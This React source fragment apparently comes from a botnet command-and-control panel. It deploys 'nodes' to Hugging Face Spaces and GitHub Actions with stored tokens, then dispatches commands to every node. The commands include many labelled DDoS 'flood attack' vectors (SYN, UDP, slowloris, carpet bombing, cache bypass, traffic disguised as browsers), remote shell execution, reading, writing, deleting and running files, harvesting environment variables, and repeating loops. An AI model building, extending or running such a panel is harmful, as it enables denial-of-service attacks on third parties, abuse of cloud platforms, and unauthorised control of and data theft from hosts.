| setStatus(`${data.message}\n(Make sure to wait a few minutes for the cloud providers to build and start the apps.)`); | |
| } catch (e: any) { | |
| setStatus(`Error: ${e.message}`); | |
| } | |
| setLoading(false); | |
| }; | |
| return ( | |
| <div className="max-w-3xl mx-auto flex flex-col gap-6 w-full"> | |
| <div className="mb-2"> | |
| <h2 className="text-2xl font-bold text-white tracking-tight">Automated Cloud Deploy</h2> | |
| <p className="text-slate-400 mt-2 text-sm leading-relaxed"> | |
| Create and deploy connected nodes automatically using your saved integration tokens. | |
| </p> | |
| </div> | |
| <Card title="Deploy New Node" icon={<Globe size={18} />}> | |
| <div className="flex flex-col gap-5"> | |
| <div className="grid grid-cols-2 gap-4"> | |
| <button | |
| onClick={() => setProvider('hf')} | |
| className={cn("p-4 rounded-2xl border transition-all text-left", provider === 'hf' ? "glass border-indigo-500/50" : "bg-black/20 border-white/5 hover:border-white/10")} | |
| > | |
| <h3 className="font-semibold text-white">Hugging Face Space</h3> | |
| <p className="text-xs text-slate-400 mt-1">Deploy Python clients via HF Hub API.</p> | |
| </button> | |
| <button | |
| onClick={() => setProvider('github')} | |
| className={cn("p-4 rounded-2xl border transition-all text-left", provider === 'github' ? "glass border-indigo-500/50" : "bg-black/20 border-white/5 hover:border-white/10")} | |
| > | |
| <h3 className="font-semibold text-white">GitHub Actions</h3> | |
| <p className="text-xs text-slate-400 mt-1">Deploy Python background clients to GH Repos.</p> | |
| </button> | |
| </div> | |
| {provider === 'hf' && ( | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Space SDK</label> | |
| <select | |
| value={hfSdk} | |
| onChange={(e) => setHfSdk(e.target.value)} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-3 text-white focus:outline-none focus:border-indigo-500 transition-all text-sm appearance-none shadow-inner" | |
| > | |
| <option value="docker">Docker (Background Script Python)</option> | |
| <option value="gradio">Gradio (UI with Background Poller)</option> | |
| </select> | |
| </div> | |
| )} | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Deployment Name</label> | |
| <input | |
| type="text" | |
| value={name} | |
| onChange={e => setName(e.target.value)} | |
| placeholder="e.g. node-cluster-abc (Optional, random if empty)" | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner text-sm" | |
| /> | |
| </div> | |
| <div className="pt-2 border-t border-white/5 flex flex-col gap-3"> | |
| <button | |
| disabled={loading} | |
| onClick={handleDeploy} | |
| className={cn("px-6 py-3 text-white rounded-xl font-medium transition-all shadow-lg w-full flex items-center justify-center gap-2", | |
| loading ? "bg-indigo-500/50 cursor-not-allowed" : "bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30")} | |
| > | |
| <Globe size={18} /> {loading ? 'Deploying...' : 'Deploy Node'} | |
| </button> | |
| {status && <div className={cn("p-3 px-4 rounded-xl text-sm font-medium border whitespace-pre-wrap", status.includes('Error') ? 'bg-red-500/10 border-red-500/20 text-red-500' : 'bg-emerald-500/10 border-emerald-500/20 text-emerald-400')}>{status}</div>} | |
| </div> | |
| </div> | |
| </Card> | |
| </div> | |
| ); | |
| } | |
| function ReportResultViewer({ report }: { report: any }) { | |
| if (report.type === 'list_directory' && report.result?.files) { | |
| return ( | |
| <div className="bg-black/40 rounded-lg p-2 border border-white/5"> | |
| <div className="flex items-center gap-2 mb-2 px-2 pb-2 border-b border-white/10"> | |
| <Folder size={14} className="text-indigo-400" /> | |
| <span className="text-xs font-semibold text-white">Directory Contents</span> | |
| </div> | |
| <div className="flex flex-col max-h-64 overflow-y-auto pr-1 nice-scrollbar"> | |
| {report.result.files.map((f: string, i: number) => ( | |
| <div key={i} className="text-xs text-slate-300 py-1.5 px-2 hover:bg-white/5 rounded flex items-center transition-colors"> | |
| <span className="mr-2 text-slate-500">{'>'}</span> | |
| <span className="truncate">{f}</span> | |
| </div> | |
| ))} | |
| {report.result.files.length === 0 && <span className="text-xs text-slate-500 italic p-2">Empty directory</span>} | |
| </div> | |
| </div> | |
| ); | |
| } else if (report.type === 'get_file_info' && report.result?.info !== undefined) { | |
| return ( | |
| <div className="bg-black/40 rounded-lg p-3 border border-white/5"> | |
| <div className="flex items-center gap-2 mb-2 pb-2 border-b border-white/10"> | |
| <FileText size={14} className="text-indigo-400" /> | |
| <span className="text-xs font-semibold text-white">File Information</span> | |
| </div> | |
| <div className="grid grid-cols-2 gap-2 text-xs"> | |
| <div className="text-slate-400">Size: <span className="text-white font-mono">{report.result.info.size} bytes</span></div> | |
| <div className="text-slate-400">Mode: <span className="text-white font-mono">{report.result.info.mode}</span></div> | |
| <div className="text-slate-400">Modified: <span className="text-white">{new Date(report.result.info.mtimeMs || report.result.info.mtime * 1000 || Date.now()).toLocaleString()}</span></div> | |
| </div> | |
| </div> | |
| ); | |
| } else if (report.type === 'read_file' && report.result?.content !== undefined) { | |
| return ( | |
| <div className="bg-black/40 rounded-lg border border-white/5 overflow-hidden"> | |
| <div className="bg-white/5 px-3 py-2 border-b border-white/10 flex items-center gap-2"> | |
| <FileText size={14} className="text-indigo-400" /> | |
| <span className="text-xs font-semibold text-white">File Output</span> | |
| </div> | |
| <pre className="text-xs text-emerald-400 p-3 overflow-x-auto whitespace-pre-wrap font-mono"> | |
| {report.result.content} | |
| </pre> | |
| </div> | |
| ); | |
| } | |
| return ( | |
| <pre className="text-xs text-emerald-400 bg-black/40 p-2 rounded-lg break-words whitespace-pre-wrap font-mono"> | |
| {JSON.stringify(report.result, null, 2)} | |
| </pre> | |
| ); | |
| } | |
| function CommandsTab({ category }: { category: 'network' | 'system' | 'file' }) { | |
| // Use state strictly tied to the category if possible, but shared state is fine. | |
| // When category changes, reset command to default of that category. | |
| const [command, setCommand] = useState(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory'); | |
| useEffect(() => { | |
| setCommand(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory'); | |
| }, [category]); | |
| const [targetNode, setTargetNode] = useState('all'); | |
| const [ip, setIp] = useState('127.0.0.1'); | |
| const [port, setPort] = useState('80'); | |
| const [host, setHost] = useState('google.com'); | |
| const [portsList, setPortsList] = useState('80,443'); | |
| const [interval, setIntervalVal] = useState('10'); | |
| const [floodType, setFloodType] = useState('http_get_flood'); | |
| const [duration, setDuration] = useState('10'); | |
| const [threads, setThreads] = useState('10'); | |
| const [packetSize, setPacketSize] = useState('1024'); | |
| const [shellCmd, setShellCmd] = useState('echo hello'); | |
| const [filePath, setFilePath] = useState('/etc/pwd'); | |
| const [status, setStatus] = useState(''); | |
| const [nodes, setNodes] = useState<any[]>([]); | |
| const [reports, setReports] = useState<any[]>([]); | |
| const [activeCommands, setActiveCommands] = useState<any[]>([]); | |
| const [deployments, setDeployments] = useState<string[]>([]); | |
| const [repeat, setRepeat] = useState(false); | |
| useEffect(() => { | |
| const fetchStatus = async () => { | |
| try { | |
| const res = await fetch('/api/status'); | |
| const json = await res.json(); | |
| setNodes(json.nodes || []); | |
| // Get just the reports that are commands | |
| setReports((json.reports || []).slice(0, 15)); | |
| setActiveCommands(json.activeCommands || []); | |
| setDeployments(json.deployments || []); | |
| } catch (err) {} | |
| }; | |
| fetchStatus(); | |
| const iv = setInterval(fetchStatus, 3000); | |
| return () => clearInterval(iv); | |
| }, []); | |
| const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe' || command === 'network_flood'; | |
| const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records'; | |
| const requiresFloodArgs = command === 'network_flood'; | |
| const requiresPacketSize = command === 'network_flood' && (floodType === 'udp_flood' || floodType === 'gre_flood'); | |
| const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood', 'syn_flood', 'carpet_bombing', 'websocket_flood', 'slow_post_flood', 'ack_flood', 'connection_exhaustion', 'gre_flood', 'http3_quic_flood', 'http2_multiplex', 'browser_emulation'].includes(floodType)); | |
| const requiresPorts = command === 'port_scan'; | |
| const requiresInterval = command === 'change_poll_interval'; | |
| const requiresShell = command === 'exec_shell'; | |
| const requiresPath = command === 'list_directory' || command === 'read_file' || command === 'delete_file' || command === 'write_file' || command === 'run_file' || command === 'copy_file' || command === 'move_file' || command === 'get_file_info'; | |
| const requiresDestPath = command === 'copy_file' || command === 'move_file'; | |
| const requiresContent = command === 'write_file'; | |
| const requiresPid = command === 'kill_process'; | |
| const requiresCustomJson = command === 'custom_json'; | |
| const [fileContent, setFileContent] = useState('echo hello'); | |
| const [destPath, setDestPath] = useState('/tmp/dest'); | |
| const [customJson, setCustomJson] = useState('{\n "payload": {\n "key": "value"\n }\n}'); | |
| const issueCommand = async () => { | |
| let payload: any = {}; | |
| let finalType = command; | |
| if (requiresCustomJson) { | |
| try { | |
| const parsed = JSON.parse(customJson); | |
| if (parsed.type) finalType = parsed.type; | |
| payload = parsed.payload || parsed; | |
| } catch (e) { | |
| setStatus('Invalid JSON payload'); | |
| return; | |
| } | |
| } else { | |
| if (requiresTarget) payload = { ...payload, ip, port: parseInt(port) || 80 }; | |
| if (requiresFloodArgs) { | |
| payload = { ...payload, duration: parseInt(duration), url: `http://${ip}:${port}` }; | |
| finalType = floodType; // Overwrite the generic command string with the actual flood logic to run | |
| } | |
| if (requiresThreads) payload = { ...payload, threads: parseInt(threads) }; | |
| if (requiresPacketSize) payload = { ...payload, packet_size: parseInt(packetSize) }; | |
| if (requiresHost) payload = { ...payload, host }; | |
| if (requiresPorts) payload = { ...payload, ports: portsList }; | |
| if (requiresInterval) payload = { interval: parseInt(interval) || 10 }; | |
| if (requiresShell) payload = { cmd: shellCmd }; | |
| if (requiresPath) payload = { path: filePath }; | |
| if (requiresDestPath) payload = { ...payload, destPath }; | |
| if (requiresContent) payload = { ...payload, content: fileContent }; | |
| if (requiresPid) payload = { pid: shellCmd }; | |
| } | |
| try { | |
| await fetch('/api/commands', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ target: targetNode, type: finalType, payload, repeat }) | |
| }); | |
| setStatus(`Dispatched '${finalType}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`); | |
| setTimeout(() => setStatus(''), 3000); | |
| } catch (e) { | |
| setStatus('Failed to issue command.'); | |
| } | |
| }; | |
| const stopLoop = async (id: string) => { | |
| await fetch(`/api/commands/${id}`, { method: 'DELETE' }); | |
| setActiveCommands(prev => prev.filter(c => c.id !== id)); | |
| }; | |
| return ( | |
| <div className="flex flex-col gap-6"> | |
| <div className="mb-2"> | |
| <h2 className="text-2xl font-bold text-white tracking-tight">{category === 'network' ? 'Network Commands' : category === 'system' ? 'System Commands' : 'File Commands'}</h2> | |
| <p className="text-slate-400 mt-1 text-sm leading-relaxed"> | |
| Issue {category === 'network' ? 'network diagnostic' : category === 'system' ? 'operational and system' : 'file system'} commands to managed nodes. Nodes poll periodically. | |
| </p> | |
| </div> | |
| <div className="grid grid-cols-1 lg:grid-cols-2 gap-6 items-start"> | |
| <Card title="Command Dispatch" icon={<Play size={18} />}> | |
| <div className="flex flex-col gap-5"> | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Target Node</label> | |
| <select | |
| value={targetNode} | |
| onChange={(e) => setTargetNode(e.target.value)} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all text-sm appearance-none shadow-inner" | |
| > | |
| <option value="all">All Connected Nodes</option> | |
| {nodes.map(n => <option key={n.id} value={n.id}>{n.id} ({n.type})</option>)} | |
| </select> | |
| </div> | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Operation Type</label> | |
| <select | |
| value={command} | |
| onChange={(e) => setCommand(e.target.value)} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all text-sm appearance-none shadow-inner" | |
| > | |
| {category === 'network' && ( | |
| <optgroup label="Network Commands"> | |
| <option value="network_flood">L4/L7 Network Flood Attack</option> | |
| <option value="fetch_http_test">HTTP Fetch Test (Simulated Load)</option> | |
| <option value="socket_tcp_probe">TCP Socket Probe</option> | |
| <option value="dns_resolve">DNS Resolve</option> | |
| <option value="icmp_ping">ICMP Ping Test</option> | |
| <option value="traceroute">Traceroute</option> | |
| <option value="port_scan">Port Scan</option> | |
| <option value="get_public_ip">Get Public IP</option> | |
| <option value="arp_table">ARP Table</option> | |
| <option value="netstat_connections">Netstat Connections</option> | |
| <option value="ifconfig_ip">Network Interfaces (ifconfig/ipconfig)</option> | |
| <option value="dns_mx_records">DNS MX Records</option> | |
| <option value="dns_txt_records">DNS TXT Records</option> | |
| <option value="route_table">Route Table</option> | |
| <option value="wifi_networks">List WiFi Networks</option> | |
| </optgroup> | |
| )} | |
| {category === 'system' && ( | |
| <optgroup label="System Commands"> | |
| <option value="check_uptime">Check Uptime</option> | |
| <option value="report_sysinfo">Report System Info</option> | |
| <option value="ping_heartbeat">Force Heartbeat Ping</option> | |
| <option value="change_poll_interval">Change Interval</option> | |
| <option value="get_system_info">Hardware Info (CPU/Mem)</option> | |
| <option value="get_disk_space">Get Disk Space</option> | |
| <option value="list_processes">List Processes</option> | |
| <option value="kill_process">Kill Process (PID)</option> | |
| <option value="get_env_vars">Get Env Vars</option> | |
| <option value="get_users">List Users</option> | |
| <option value="get_groups">List Groups</option> | |
| <option value="system_logs">System Logs (dmesg/syslog)</option> | |
| <option value="list_services">List Services (systemctl/sc)</option> | |
| <option value="exec_shell">Exec Shell Command</option> | |
| <option value="custom_json">Custom JSON Command</option> | |
| <option value="reboot_system">Reboot System (Warning!)</option> | |
| <option value="self_terminate">Terminate Client Process</option> | |
| </optgroup> | |
| )} | |
| {category === 'file' && ( | |
| <optgroup label="File Commands"> | |
| <option value="list_directory">List Directory</option> | |
| <option value="get_file_info">Get File Info</option> | |
| <option value="read_file">Read/View File</option> | |
| <option value="write_file">Add/Write File</option> | |
| <option value="copy_file">Copy File</option> | |
| <option value="move_file">Move/Rename File</option> | |
| <option value="delete_file">Delete File</option> | |
| <option value="run_file">Execute/Run File</option> | |
| </optgroup> | |
| )} | |
| </select> | |
| </div> | |
| {requiresTarget && ( | |
| <div className="grid grid-cols-3 gap-4 border-t border-white/5 pt-5"> | |
| <div className="col-span-2"> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Target Host / IP</label> | |
| <input | |
| type="text" | |
| value={ip} | |
| onChange={e => setIp(e.target.value)} | |
| placeholder="127.0.0.1" | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner" | |
| /> | |
| </div> | |
| <div className="col-span-1"> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Port</label> | |
| <input | |
| type="text" | |
| value={port} | |
| onChange={e => setPort(e.target.value)} | |
| placeholder="80" | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner" | |
| /> | |
| </div> | |
| </div> | |
| )} | |
| {requiresFloodArgs && ( | |
| <div className="grid grid-cols-2 gap-4"> | |
| <div className="col-span-2"> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Flood Vector Method</label> | |
| <select | |
| value={floodType} | |
| onChange={e => setFloodType(e.target.value)} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" | |
| > | |
| <optgroup label="L7 Vectors (Application)"> | |
| <option value="http_get_flood">HTTP/1.1 GET Flood</option> | |
| <option value="http_post_flood">HTTP/1.1 POST Flood</option> | |
| <option value="slowloris">Slowloris (TCP Exhaustion)</option> | |
| <option value="slow_post_flood">Slow POST (Body Exhaustion)</option> | |
| <option value="api_abuse_flood">API Abuse Flood</option> | |
| <option value="cache_bypass_flood">Cache Bypass Flood</option> | |
| <option value="websocket_flood">WebSocket Abuse</option> | |
| <option value="http2_multiplex">HTTP/2 Multiplex (Burst)</option> | |
| <option value="http3_quic_flood">HTTP/3 QUIC Abuse (UDP)</option> | |
| <option value="browser_emulation">Browser Emulation (Legit Traffic)</option> | |
| </optgroup> | |
| <optgroup label="L3/L4 Vectors (Network/Transport)"> | |
| <option value="udp_flood">UDP Raw Datagram Flood</option> | |
| <option value="tcp_connect_flood">TCP Connect Flood</option> | |
| <option value="syn_flood">SYN Flood (Requires Root)</option> | |
| <option value="ack_flood">ACK Flood (Requires Root)</option> | |
| <option value="connection_exhaustion">TCP Connection Exhaustion</option> | |
| <option value="gre_flood">GRE Tunnel Flood (L3)</option> | |
| <option value="carpet_bombing">Carpet Bombing (Subnet)</option> | |
| </optgroup> | |
| </select> | |
| </div> | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Duration (s)</label> | |
| <input type="text" value={duration} onChange={e=>setDuration(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" /> | |
| </div> | |
| {requiresThreads && ( | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Threads</label> | |
| <input type="text" value={threads} onChange={e=>setThreads(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" /> | |
| </div> | |
| )} | |
| {requiresPacketSize && ( | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Packet Size (bytes)</label> | |
| <input type="text" value={packetSize} onChange={e=>setPacketSize(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" /> | |
| </div> | |
| )} | |
| </div> | |
| )} | |
| {requiresHost && ( | |
| <div className="border-t border-white/5 pt-5 flex flex-col gap-4"> | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Target Host / IP</label> | |
| <input | |
| type="text" | |
| value={host} | |
| onChange={e => setHost(e.target.value)} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner" | |
| /> | |
| </div> | |
| {requiresPorts && ( | |
| <div> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Ports (comma separated)</label> | |
| <input | |
| type="text" | |
| value={portsList} | |
| onChange={e => setPortsList(e.target.value)} | |
| placeholder="80,443,8080" | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner" | |
| /> | |
| </div> | |
| )} | |
| </div> | |
| )} | |
| {requiresPath && ( | |
| <div className="border-t border-white/5 pt-5"> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">File / Directory Path</label> | |
| <input | |
| type="text" | |
| value={filePath} | |
| onChange={e => setFilePath(e.target.value)} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner" | |
| /> | |
| </div> | |
| )} | |
| {requiresDestPath && ( | |
| <div className="border-t border-white/5 pt-5"> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Destination Path</label> | |
| <input | |
| type="text" | |
| value={destPath} | |
| onChange={e => setDestPath(e.target.value)} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner" | |
| /> | |
| </div> | |
| )} | |
| {requiresContent && ( | |
| <div className="border-t border-white/5 pt-5"> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">File Content</label> | |
| <textarea | |
| value={fileContent} | |
| onChange={e => setFileContent(e.target.value)} | |
| rows={4} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner" | |
| /> | |
| </div> | |
| )} | |
| {requiresCustomJson && ( | |
| <div className="border-t border-white/5 pt-5"> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Custom JSON Payload</label> | |
| <textarea | |
| value={customJson} | |
| onChange={e => setCustomJson(e.target.value)} | |
| rows={6} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner" | |
| placeholder={'{\n "type": "my_command",\n "payload": { ... }\n}'} | |
| /> | |
| </div> | |
| )} | |
| {requiresInterval && ( | |
| <div className="border-t border-white/5 pt-5"> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Polling Interval (Seconds)</label> | |
| <input | |
| type="number" | |
| value={interval} | |
| onChange={e => setIntervalVal(e.target.value)} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner" | |
| /> | |
| </div> | |
| )} | |
| {(requiresShell || requiresPid) && ( | |
| <div className="border-t border-white/5 pt-5"> | |
| <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">{requiresPid ? 'Process ID (PID)' : 'Shell Command (Use carefully)'}</label> | |
| <input | |
| type="text" | |
| value={shellCmd} | |
| onChange={e => setShellCmd(e.target.value)} | |
| className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner" | |
| /> | |
| </div> | |
| )} | |
| <div className="flex items-center gap-2 mt-2 px-1"> | |
| <input type="checkbox" id="repeatMode" checked={repeat} onChange={e => setRepeat(e.target.checked)} className="rounded bg-black/20 border-white/10 text-indigo-500 focus:ring-indigo-500" /> | |
| <label htmlFor="repeatMode" className="text-sm text-slate-300 cursor-pointer">Repeat continuously (node will execute on every ping)</label> | |
| </div> | |
| <button | |
| onClick={issueCommand} | |
| className={`mt-2 px-6 py-3 ${repeat ? 'bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30' : 'bg-red-500 hover:bg-red-400 shadow-red-500/30'} text-white rounded-xl font-medium shadow-lg transition-all flex items-center justify-center gap-2`} | |
| > | |
| <Terminal size={18} /> {repeat ? 'Start Background Loop' : 'Execute Operation'} | |
| </button> | |
| {status && <div className="p-3 px-4 bg-emerald-500/10 border border-emerald-500/20 text-emerald-400 text-sm rounded-xl font-medium flex items-center">{status}</div>} | |
| </div> | |
| </Card> | |
| <div className="flex flex-col gap-6"> | |
| <Card title="Latest Execution Reports" icon={<Activity size={18} />}> | |
| {reports.length === 0 ? ( | |
| <div className="text-center py-10 text-slate-400 text-sm"> | |
| <Activity className="w-8 h-8 mx-auto mb-2 opacity-20" /> | |
| Waiting for node reports... | |
| </div> | |
| ) : ( | |
| <div className="flex flex-col gap-3 max-h-[350px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10"> | |
| {reports.map((report, idx) => ( | |
| <div key={idx} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm"> | |
| <div className="flex justify-between items-start mb-1.5"> | |
| <span className="font-mono text-indigo-300 text-xs">{report.nodeId}</span> | |
| <span className="text-slate-500 text-xs"> | |
| {new Date(report.timestamp).toLocaleTimeString()} | |
| </span> | |
| </div> | |
| <div className="text-white font-medium mb-1">{report.type || 'Unknown Command'}</div> | |
| <ReportResultViewer report={report} /> | |
| </div> | |
| ))} | |
| </div> | |
| )} | |
| </Card> | |
| {activeCommands.length > 0 && ( | |
| <Card title="Active Command Loops" icon={<Activity size={18} />}> | |
| <div className="flex flex-col gap-3 max-h-[250px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10"> | |
| {activeCommands.map(cmd => ( | |
| <div key={cmd.id} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm flex items-center justify-between"> | |
| <div> | |
| <div className="text-white font-medium text-sm flex items-center gap-2"> | |
| <div className="w-2 h-2 rounded-full bg-indigo-500 animate-pulse"></div> | |
| {cmd.type} | |
| </div> | |
| <div className="text-slate-400 text-xs mt-1">Target: <span className="font-mono">{cmd.target}</span></div> | |
| </div> | |
| <button onClick={() => stopLoop(cmd.id)} className="text-xs text-red-400 border border-red-500/30 px-3 py-1.5 rounded-lg bg-red-400/10 hover:bg-red-400/20 transition-colors"> | |
| Stop Loop | |
| </button> | |
| </div> | |
| ))} | |
| </div> | |
| </Card> | |
| )} | |
| </div> | |
| </div> | |
| </div> | |
| ); | |
| } | |